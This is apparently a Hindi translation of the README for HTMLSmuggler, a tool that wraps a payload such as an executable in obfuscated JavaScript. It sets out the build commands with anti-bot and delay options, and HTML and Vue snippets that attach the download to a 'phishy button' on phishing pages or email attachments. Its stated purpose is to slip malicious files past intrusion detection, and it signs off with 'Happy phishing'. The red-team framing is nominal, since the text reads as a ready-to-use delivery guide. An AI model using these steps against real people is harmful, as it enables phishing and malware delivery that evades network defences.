
✉️ HTML Smuggling generator&obfuscator आपके Red Team संचालन के लिए
HTMLSmuggler - IDS बायपास और HTML स्मगलिंग के माध्यम से पेलोड वितरण के लिए JS पेलोड जनरेटर।
HTML स्मगलिंग क्या है, इसकी पूर्ण व्याख्या यहाँ पाई जा सकती है।
HTML स्मगलिंग का प्राथमिक उद्देश्य दुर्भावनापूर्ण पेलोड (जैसे एक्जीक्यूटेबल/आर्काइव आदि) को हानिरहित HTML और JavaScript कोड के भीतर छिपाकर फायरवॉल और इंट्रूज़न डिटेक्शन सिस्टम जैसे नेटवर्क सुरक्षा नियंत्रणों को बायपास करना है। वेब एप्लिकेशन की गतिशील प्रकृति का लाभ उठाकर, हमलावर सुरक्षा अलर्ट ट्रिगर किए बिना या पारंपरिक सुरक्षा तंत्र द्वारा पकड़े बिना उपयोगकर्ता के ब्राउज़र में दुर्भावनापूर्ण सामग्री पहुंचा सकते हैं। इस तकनीक की बदौलत, किसी दुर्भावनापूर्ण फ़ाइल का डाउनलोड आधुनिक IDS समाधानों में किसी भी तरह से प्रदर्शित नहीं होता है।
HTMLSmuggler टूल का मुख्य लक्ष्य एम्बेडेड दुर्भावनापूर्ण उपयोगकर्ता-परिभाषित पेलोड के साथ एक स्वतंत्र जावास्क्रिप्ट लाइब्रेरी बनाना है। इस लाइब्रेरी को आपके फ़िशिंग साइटों/ईमेल HTML अटैचमेंट आदि में एकीकृत किया जा सकता है ताकि एम्बेडेड पेलोड को लक्ष्य उपयोगकर्ता सिस्टम तक पहुंचाया जा सके (IDS और IPS सिस्टम को बायपास करते हुए)। बनाई गई जावास्क्रिप्ट लाइब्रेरी का एक उदाहरण यहाँ पाया जा सकता है।
निर्भरताएँ इंस्टॉल करें:
yarn
हेल्प संदेश पढ़ें।
yarn build -h
Options:
-p, --payload <string> पेलोड फ़ाइल का पथ जिसे आप स्मगल करना चाहते हैं
-n, --name <string> डाउनलोड होने वाली फ़ाइल का नाम
-t, --type <string> डाउनलोड की गई फ़ाइल का Content-Type (डिफ़ॉल्ट: "application/octet-stream")
-f, --function <string> निर्यातित फ़ंक्शन का नाम (डिफ़ॉल्ट: "download")
-c, --compress पेलोड कम्प्रेशन सक्षम करें (gzip)
-d, --delay <number> एंटीबॉट और डाउनलोड से पहले देरी ms में (डिफ़ॉल्ट: 0)
-a, --antibot बॉट डिटेक्शन सक्षम करें और उन्हें ब्लॉक करें (अनुशंसित)
-h, --help कमांड के लिए सहायता प्रदर्शित करें
(वैकल्पिक) obfuscator.js में javascript-obfuscator विकल्प को संशोधित करें, मेरा प्रीसेट अच्छा है, लेकिन बहुत धीमा है।
अपने जावास्क्रिप्ट पेलोड को कंपाइल करें:
⚠️ 3 MiB से बड़े पेलोड के उपयोग से बचें (देखें FAQ)
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a -d 3000
dist/payload.esm.js या dist/payload.umd.js से अपना पेलोड प्राप्त करें। इसके बाद, इसे आपके पेज में डाला जा सकता है और download() (या -f फ़्लैग से कस्टम निर्दिष्ट) फ़ंक्शन के साथ कॉल किया जा सकता है।
payload.esm.jsका उपयोगimport { download } from 'payload.esm';इम्पोर्ट में (ECMAScript मानक) किया जाता है।
payload.umd.jsका उपयोग html स्क्रिप्ट SRC औरrequire('payload.umd');इम्पोर्ट (CommonJS, AMD और शुद्ध html) में किया जाता है।
पूर्ण उदाहरण यहाँ पाया जा सकता है।
तैयारी के चरण करें।
बनाई गई स्क्रिप्ट को html फ़ाइल में आयात करें (या इसे इनलाइन डालें):
<head>
<script src="payload.umd.js"></script>
</head>
बॉडी से download() फ़ंक्शन को कॉल करें:
<body>
<button onclick="download()">कुछ फ़िशी बटन</button>
</body>
हैप्पी फ़िशिंग :)
पूर्ण उदाहरण यहाँ पाया जा सकता है।
तैयारी के चरण करें।
बनाई गई स्क्रिप्ट को vue फ़ाइल में आयात करें:
<script>
import { download } from './payload.esm';
</script>
download() फ़ंक्शन को कॉल करें:
<template>
<button @click="download()">कुछ फ़िशी बटन</button>
</template>
हैप्पी फ़िशिंग :)
प्रश्न: मुझे RangeError: Maximum call stack size exceeded त्रुटि आ रही है, इसे कैसे हल करूँ?
उत्तर: यह समस्या यहाँ वर्णित है। इसे ठीक करने के लिए, obfuscator.js में splitStrings को अक्षम करने का प्रयास करें या पेलोड को छोटा बनाएं (इस समस्या के कारण 2 MB तक के पेलोड का उपयोग करने की अनुशंसा की जाती है)।
प्रश्न: मेरा पेलोड बिल्ड इतना लंबा क्यों लेता है?
उत्तर: आप जितना बड़ा पेलोड उपयोग करेंगे, JS फ़ाइल बनाने में उतना ही अधिक समय लगेगा। बिल्ड समय कम करने के लिए, obfuscator.js में splitStrings को अक्षम करने का प्रयास करें। नीचे डिफ़ॉल्ट obfuscator.js का उपयोग करते हुए अनुमानित बिल्ड समय की तालिका दी गई है।
| पेलोड आकार | बिल्ड समय |
|---|---|
| 525 KB | 53 s |
| 1.25 MB | 8 m |
| 3.59 MB | 25 m |